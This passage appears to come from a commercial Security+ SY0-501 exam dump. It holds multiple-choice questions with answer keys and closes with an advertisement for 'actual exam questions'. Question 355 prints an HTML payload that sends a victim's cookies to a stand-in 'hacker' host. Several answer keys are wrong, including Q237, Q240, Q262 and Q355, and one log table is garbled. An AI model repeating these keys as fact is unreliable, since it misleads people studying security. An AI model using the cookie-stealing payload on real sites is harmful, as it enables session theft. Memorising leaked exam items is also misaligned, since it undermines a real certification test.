
Answer: C

NEW QUESTION 226

- (Exam Topic 4)

A company is evaluating cloud providers to reduce the cost of its internal IT operations. The company's aging systems are unable to keep up with customer

demand. Which of the following cloud models will the company MOST likely select?

- A. PaaS
- B. SaaS
- C. IaaS
- D. BaaS

Answer: C

NEW QUESTION 229

- (Exam Topic 4)

A security analyst is updating a BIA document. The security analyst notices the support vendor's time to replace a server hard drive went from eight hours to two hours. Given these new metrics, which of the following can be concluded? (Select TWO)

- A. The MTTR is faster.
- B. The MTTR is slower.
- C. The RTO has increased.
- D. The RTO has decreased.
- E. The MTTF has increased.
- F. The MTTF has decreased.

Answer: AD

NEW QUESTION 231

- (Exam Topic 4)

Which of the following techniques can be bypass a user or computer's web browser privacy settings? (Select Two)

- A. SQL injection
- B. Session hijacking
- C. Cross-site scripting
- D. Locally shared objects
- E. LDAP injection

Answer: BC

NEW QUESTION 233

- (Exam Topic 4)

Company XYZ has decided to make use of a cloud-based service that requires mutual, certificate-based authentication with its users. The company uses SSL-inspecting IDS at its network boundary and is concerned about the confidentiality of the mutual authentication. Which of the following model prevents the IDS from capturing credentials used to authenticate users to the new service or keys to decrypt that communication?

- A. Use of OATH between the user and the service and attestation from the company domain
- B. Use of active directory federation between the company and the cloud-based service
- C. Use of smartcards that store x.509 keys, signed by a global CA
- D. Use of a third-party, SAML-based authentication service for attestation

Answer: B

NEW QUESTION 237

- (Exam Topic 4)

An organization recently moved its custom web applications to the cloud, and it is obtaining managed services of the back-end environment as part of its subscription. Which of the following types of services is this company now using?

- A. SaaS
- B. CASB
- C. IaaS
- D. PaaS

Answer: B

Explanation:

Security Broker (CASB) gives you both visibility into your entire cloud stack and the security automation tool your IT team needs.

NEW QUESTION 239

- (Exam Topic 4)

A server administrator needs to administer a server remotely using RDP, but the specified port is closed on the outbound firewall on the network. The access the server using RDP on a port other than the typical registered port for the RDP protocol?

- A. TLS
- B. MPLS
- C. SCP
- D. SSH

Answer: A

NEW QUESTION 240

- (Exam Topic 4)

A security administrator is tasked with implementing centralized management of all network devices. Network administrators will be required to logon to network devices using their LDAP credentials. All command executed by network administrators on network devices must fall within a preset list of authorized commands and must be logged to a central facility. Which of the following configuration commands should be implemented to enforce this requirement?

- A. LDAP server 10.55.199.3
- B. CN=company, CN=com, OU=netadmin, DC=192.32.10.233
- C. SYSLOG SERVER 172.16.23.50
- D. TACAS server 192.168.1.100

Answer: B

NEW QUESTION 242

- (Exam Topic 4)

A security administrator needs an external vendor to correct an urgent issue with an organization's physical access control system (PACS). The PACS does not currently have internet access because it is running a legacy operation system.

Which of the following methods should the security administrator select the best balances security and efficiency?

- A. Temporarily permit outbound internet access for the pacs so desktop sharing can be set up
- B. Have the external vendor come onsite and provide access to the PACS directly
- C. Set up VPN concentrator for the vendor and restrict access to the PACS using desktop sharing
- D. Set up a web conference on the administrator's pc; then remotely connect to the pacs

Answer: C

NEW QUESTION 247

- (Exam Topic 4)

Which of the following could occur when both strong and weak ciphers are configured on a VPN concentrator? (Select TWO)

- A. An attacker could potentially perform a downgrade attack.
- B. The connection is vulnerable to resource exhaustion.
- C. The integrity of the data could be at risk.
- D. The VPN concentrator could revert to L2TP.
- E. The IPSec payload reverted to 16-bit sequence numbers.

Answer: AE

NEW QUESTION 252

- (Exam Topic 4)

Which of the following can be used to control specific commands that can be executed on a network infrastructure device?

- A. LDAP
- B. Kerberos
- C. SAML
- D. TACACS+

Answer: D

NEW QUESTION 255

- (Exam Topic 4)

Which of the following allows an application to securely authenticate a user by receiving credentials from a web domain?

- A. TACACS+
- B. RADIUS
- C. Kerberos
- D. SAML

Answer: D

NEW QUESTION 259

- (Exam Topic 4)

An organization wants to conduct secure transactions of large data files. Before encrypting and exchanging the data files, the organization wants to ensure a secure exchange of keys. Which of the following algorithms is appropriate for securing the key exchange?

- A. DES
- B. Blowfish
- C. DSA
- D. Diffie-Hellman
- E. 3DES

Answer: D

NEW QUESTION 262

- (Exam Topic 4)

Which of the following delineates why it is important to perform egress filtering and monitoring on Internet connected security zones of interfaces on a firewall?

- A. Egress traffic is more important than ingress traffic for malware prevention

- B. To rebalance the amount of outbound traffic and inbound traffic
- C. Outbound traffic could be communicating to known botnet sources
- D. To prevent DDoS attacks originating from external network

Answer: B

NEW QUESTION 266

- (Exam Topic 4)

A security administrator wants to configure a company's wireless network in a way that will prevent wireless clients from broadcasting the company's SSID. Which of the following should be configured on the company's access points?

- A. Enable ESSID broadcast
- B. Enable protected management frames
- C. Enable wireless encryption
- D. Disable MAC authentication
- E. Disable WPS
- F. Disable SSID broadcast

Answer: F

NEW QUESTION 271

- (Exam Topic 4)

During a third-party audit, it is determined that a member of the firewall team can request, approve, and implement a new rule-set on the firewall. Which of the following will the audit team most likely recommend during the audit out brief?

- A. Discretionary access control for the firewall team
- B. Separation of duties policy for the firewall team
- C. Least privilege for the firewall team
- D. Mandatory access control for the firewall team

Answer: B

NEW QUESTION 274

- (Exam Topic 5)

A security technician is configuring an access management system to track and record user actions. Which of the following functions should the technician configure?

- A. Accounting
- B. Authorization
- C. Authentication
- D. Identification

Answer: A

NEW QUESTION 278

- (Exam Topic 5)

The help desk received a call after hours from an employee who was attempting to log into the payroll server remotely. When the help desk returned the call the next morning, the employee was able to log into the server remotely without incident. However, the incident occurred again the next evening. Which of the following BEST describes the cause of the issue?

- A. The password expired on the account and needed to be reset
- B. The employee does not have the rights needed to access the database remotely
- C. Time-of-day restrictions prevented the account from logging in
- D. The employee's account was locked out and needed to be unlocked

Answer: C

NEW QUESTION 282

- (Exam Topic 5)

A security engineer is configuring a wireless network with EAP-TLS. Which of the following activities is a requirement for this configuration?

- A. Setting up a TACACS+ server
- B. Configuring federation between authentication servers
- C. Enabling TOTP
- D. Deploying certificates to endpoint devices

Answer: D

NEW QUESTION 285

- (Exam Topic 5)

A technician is configuring a load balancer for the application team to accelerate the network performance of their applications. The applications are hosted on multiple servers and must be redundant. Given this scenario, which of the following would be the BEST method of configuring the load balancer?

- A. Round-robin
- B. Weighted
- C. Least connection
- D. Locality-based

Answer: D

NEW QUESTION 290

- (Exam Topic 5)

Which of the following uses precomputed hashes to guess passwords?

- A. Iptables
- B. NAT tables
- C. Rainbow tables
- D. ARP tables

Answer: C

NEW QUESTION 294

- (Exam Topic 5)

A hacker has a packet capture that contains:

```
....Joe.Smith.....E289F21CD33E4F57890DDEA5CF267ED2..  
....Jane.Doe.....AD1FAB10D33E4F57890DDEA5CF267ED2..  
....John.Key.....3374E9E7E33E4F57890DDEA5CF267ED2..
```

Which of the following tools will the hacker use against this type of capture?

- A. Password cracker
- B. Vulnerability scanner
- C. DLP scanner
- D. Fuzzer

Answer: A

NEW QUESTION 297

- (Exam Topic 5)

A technician receives a device with the following anomalies: Frequent pop-up ads

Show response-time switching between active programs Unresponsive peripherals The technician reviews the following log file entries:

File Name Source MD5 Target MD5 Status

antivirus.exe F794F21CD33E4F57890DDEA5CF267ED2 F794F21CD33E4F57890DDEA5CF267ED2

Automatic iexplore.exe 7FAAF21CD33E4F57890DDEA5CF29CCEA AA87F21CD33E4F57890DDEAEE2197333 Automatic service.exe

77FF390CD33E4F57890DDEA5CF28881F 77FF390CD33E4F57890DDEA5CF28881F Manual USB.exe E289F21CD33E4F57890DDEA5CF28EDC0

E289F21CD33E4F57890DDEA5CF28EDC0 Stopped

Based on the above output, which of the following should be reviewed?

- A. The web application firewall
- B. The file integrity check
- C. The data execution prevention
- D. The removable media control

Answer: B

NEW QUESTION 301

- (Exam Topic 5)

A security analyst is attempting to identify vulnerabilities in a customer's web application without impacting the system or its data. Which of the following BEST describes the vulnerability scanning concept performed?

- A. Aggressive scan
- B. Passive scan
- C. Non-credentialed scan
- D. Compliance scan

Answer: B

Explanation:

Passive scanning is a method of vulnerability detection that relies on information gleaned from network data that is captured from a target computer without direct interaction.

Packet sniffing applications can be used for passive scanning to reveal information such as operating system, known protocols running on non-standard ports and active network applications with known bugs. Passive scanning may be conducted by a network administrator scanning for security vulnerabilities or by an intruder as a preliminary to an active attack.

For an intruder, passive scanning's main advantage is that it does not leave a trail that could alert users or administrators to their activities. For an administrator, the main advantage is that it doesn't risk causing undesired behavior on the target computer, such as freezes. Because of these advantages, passive scanning need not be limited to a narrow time frame to minimize risk or disruption, which means that it is likely to return more information.

Passive scanning does have limitations. It is not as complete in detail as active vulnerability scanning and cannot detect any applications that are not currently sending out traffic; nor can it distinguish false information put out for obfuscation.

NEW QUESTION 303

- (Exam Topic 5)

While troubleshooting a client application connecting to the network, the security administrator notices the following error: Certificate is not valid. Which of the following is the BEST way to check if the digital certificate is valid?

- A. PKI
- B. CRL

- C. CSR
- D. IPSec

Answer: B

NEW QUESTION 308

- (Exam Topic 5)

Systems administrator and key support staff come together to simulate a hypothetical interruption of service. The team updates the disaster recovery processes and documentation after meeting. Which of the following describes the team's efforts?

- A. Business impact analysis
- B. Continuity of operation
- C. Tabletop exercise
- D. Order of restoration

Answer: C

NEW QUESTION 313

- (Exam Topic 5)

An external attacker can modify the ARP cache of an internal computer. Which of the following types of attacks is described?

- A. Replay
- B. Spoofing
- C. DNS poisoning
- D. Client-side attack

Answer: B

NEW QUESTION 315

- (Exam Topic 5)

A procedure differs from a policy in that it:

- A. is a high-level statement regarding the company's position on a topic.
- B. sets a minimum expected baseline of behavior.
- C. provides step-by-step instructions for performing a task.
- D. describes adverse actions when violations occur.

Answer: C

NEW QUESTION 318

- (Exam Topic 5)

A security analyst is securing smartphones and laptops for a highly mobile workforce.

Priorities include:

- Remote wipe capabilities
- Geolocation services
- Patch management and reporting
- Mandatory screen locks
- Ability to require passcodes and pins
- Ability to require encryption

Which of the following would BEST meet these requirements?

- A. Implementing MDM software
- B. Deploying relevant group policies to the devices
- C. Installing full device encryption
- D. Removing administrative rights to the devices

Answer: A

NEW QUESTION 320

- (Exam Topic 5)

Several workstations on a network are found to be on OS versions that are vulnerable to a specific attack. Which of the following is considered to be a corrective action to combat this vulnerability?

- A. Install an antivirus definition patch
- B. Educate the workstation users
- C. Leverage server isolation
- D. Install a vendor-supplied patch
- E. Install an intrusion detection system

Answer: D

NEW QUESTION 324

- (Exam Topic 5)

An analyst receives an alert from the SIEM showing an IP address that does not belong to the assigned network can be seen sending packets to the wrong gateway.

Which of the following network devices is misconfigured and which of the following should be done to remediate the issue?

- A. Firewall; implement an ACL on the interface
- B. Router; place the correct subnet on the interface
- C. Switch; modify the access port to trunk port
- D. Proxy; add the correct transparent interface

Answer: B

NEW QUESTION 329

- (Exam Topic 5)

When attempting to secure a mobile workstation, which of the following authentication technologies rely on the user's physical characteristics? (Select TWO)

- A. MAC address table
- B. Retina scan
- C. Fingerprint scan
- D. Two-factor authentication
- E. CAPTCHA
- F. Password string

Answer: BC

NEW QUESTION 332

- (Exam Topic 5)

A stock trading company had the budget for enhancing its secondary datacenter approved. Since the main site is a hurricane-affected area and the disaster recovery site is 100 mi (161 km) away, the company wants to ensure its business is always operational with the least amount of man hours needed. Which of the following types of disaster recovery sites should the company implement?

- A. Hot site
- B. Warm site
- C. Cold site
- D. Cloud-based site

Answer: D

NEW QUESTION 337

- (Exam Topic 5)

A user receives an email from ISP indicating malicious traffic coming from the user's home network is detected. The traffic appears to be Linux-based, and it is targeting a website that was recently featured on the news as being taken offline by an Internet attack. The only Linux device on the network is a home surveillance camera system.

Which of the following BEST describes what is happening?

- A. The camera system is infected with a bot.
- B. The camera system is infected with a RAT.
- C. The camera system is infected with a Trojan.
- D. The camera system is infected with a backdoor.

Answer: A

NEW QUESTION 342

- (Exam Topic 5)

An organization wants to upgrade its enterprise-wide desktop computer solution. The organization currently has 500 PCs active on the network. the Chief Information Security Officer (CISO) suggests that the organization employ desktop imaging technology for such a large scale upgrade. Which of the following is a security benefit of implementing an imaging solution?

- A. it allows for faster deployment
- B. it provides a consistent baseline
- C. It reduces the number of vulnerabilities
- D. It decreases the boot time

Answer: B

NEW QUESTION 347

- (Exam Topic 5)

A security analyst is investigating a potential breach. Upon gathering, documenting, and securing the evidence, which of the following actions is the NEXT step to minimize the business impact?

- A. Launch an investigation to identify the attacking host
- B. Initiate the incident response plan
- C. Review lessons learned captured in the process
- D. Remove malware and restore the system to normal operation

Answer: D

NEW QUESTION 352

- (Exam Topic 5)

Ann, a customer, is reporting that several important files are missing from her workstation. She recently received communication from an unknown party who is requesting funds to restore the files. Which of the following attacks has occurred?

- A. Ransomware
- B. Keylogger
- C. Buffer overflow
- D. Rootkit

Answer: A

NEW QUESTION 353

- (Exam Topic 5)

A bank is experiencing a DoS attack against an application designed to handle 500 IP-based sessions. In addition, the perimeter router can only handle 1Gbps of traffic.

Which of the following should be implemented to prevent a DoS attacks in the future?

- A. Deploy multiple web servers and implement a load balancer
- B. Increase the capacity of the perimeter router to 10 Gbps
- C. Install a firewall at the network to prevent all attacks
- D. Use redundancy across all network devices and services

Answer: D

NEW QUESTION 355

- (Exam Topic 5)

An attacker exploited a vulnerability on a mail server using the code below.

```
<HTML><body
onload=document.location.replace
('http://hacker/post.asp?victim&message =" + document.cookie + "<br>" + "URL:" + "document.location) ;
</body>
</HTML>
```

Which of the following BEST explains what the attacker is doing?

- A. The attacker is replacing a cookie.
- B. The attacker is stealing a document.
- C. The attacker is replacing a document.
- D. The attacker is deleting a cookie.

Answer: C

NEW QUESTION 360

- (Exam Topic 5)

A systems administrator is configuring a system that uses data classification labels. Which of the following will the administrator need to implement to enforce access control?

- A. Discretionary access control
- B. Mandatory access control
- C. Role-based access control
- D. Rule-based access control

Answer: B

NEW QUESTION 363

- (Exam Topic 5)

An organization identifies a number of hosts making outbound connections to a known malicious IP over port TCP 80. The organization wants to identify the data being transmitted and prevent future connections to this IP. Which of the following should the organization do to achieve this outcome?

- A. Use a protocol analyzer to reconstruct the data and implement a web-proxy.
- B. Deploy a web-proxy and then blacklist the IP on the firewall.
- C. Deploy a web-proxy and implement IPS at the network edge.
- D. Use a protocol analyzer to reconstruct the data and blacklist the IP on the firewall.

Answer: D

NEW QUESTION 365

- (Exam Topic 5)

A security analyst is acquiring data from a potential network incident. Which of the following evidence is the analyst MOST likely to obtain to determine the incident?

- A. Volatile memory capture
- B. Traffic and logs

- C. Screenshots
- D. System image capture

Answer: B

NEW QUESTION 367

.....

Thank You for Trying Our Product

We offer two products:

1st - We have Practice Tests Software with Actual Exam Questions

2nd - Questions and Answers in PDF Format

SY0-501 Practice Exam Features:

- * SY0-501 Questions and Answers Updated Frequently
- * SY0-501 Practice Questions Verified by Expert Senior Certified Staff
- * SY0-501 Most Realistic Questions that Guarantee you a Pass on Your FirstTry
- * SY0-501 Practice Test Questions in Multiple Choice Formats and Updatesfor 1 Year

100% Actual & Verified — Instant Download, Please Click
[Order The SY0-501 Practice Test Here](#)